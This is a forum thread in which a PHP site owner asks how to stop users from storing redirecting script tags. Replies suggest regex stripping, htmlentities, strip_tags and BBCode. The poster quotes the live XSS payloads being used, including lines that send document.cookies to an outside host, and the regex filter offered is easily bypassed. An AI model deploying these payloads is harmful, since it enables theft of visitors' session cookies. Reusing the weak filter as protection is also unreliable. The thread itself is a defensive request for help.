Jump to content

Blocking <script> in PHP?


JayJabber

Recommended Posts

Well people who hate my site have been coming on and making a site with my site maker . And instead of filling in proper info they put <script> which redirects. And when they finish it saves into mysql and when i view the list of sites it redirects me to another site, Anyone know what can solve this?

Link to comment
Share on other sites

It should remove javascript codes from a string. Did you mean that?

 

 

It works but how can i remove the message part

<?php

 

function strip_script($string) {

    // Prevent inline scripting

    //$string = preg_replace("/<script[^>]*>.*<*script[^>]*>/i", "", $string);

$string = preg_replace("/<script[^>]*>.*?< *script[^>]*>/i", "", $string);

    // Prevent linking to source files

    $string = preg_replace("/<script[^>]*>/i", "", $string);

 

    //styles

    $string = preg_replace("/<style[^>]*>.*<*style[^>]*>/i", "", $string);

    // Prevent linking to source files

    $string = preg_replace("/<style[^>]*>/i", "", $string);

    return $string;

}

 

$cnt = <<<H

<scr<script>ipt language="javascript">alert('PlayerScape Secruity System v1')</script> <----

H;

 

echo strip_script($cnt);

 

 

?>

Link to comment
Share on other sites

ok its not working

The codes which are being used are;

 

<script> for(;;){alert('*CENSORED*')}</script>

<script>document.location=”http://minecraftuk.org/xss/?c=” + document.cookies</script>

<script>window.location=”http://minecraftuk.org/xss/?c=” + document.cookies</script>

Link to comment
Share on other sites

In addition to htmlentities, if you simply wanted to remove certain tags from the users input, you could use the strip_tags() function using the optional allowable tags argument, if you wanted to remove every tags but, for example, anchor tags.

Keep in mind that strip_tags() doesn't look at attributes, so it would allow stuff such as

Click me, I'm totally legit!

Link to comment
Share on other sites

Thats true. But in that case, he should just use html entities, as there are quite a few html tags that support the onclick event. He could also do a regex replace to get rid of all onclick events also, if he really wanted to use strip_tags.

 

However as jcbones has said, using bbc code is probably the best option.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.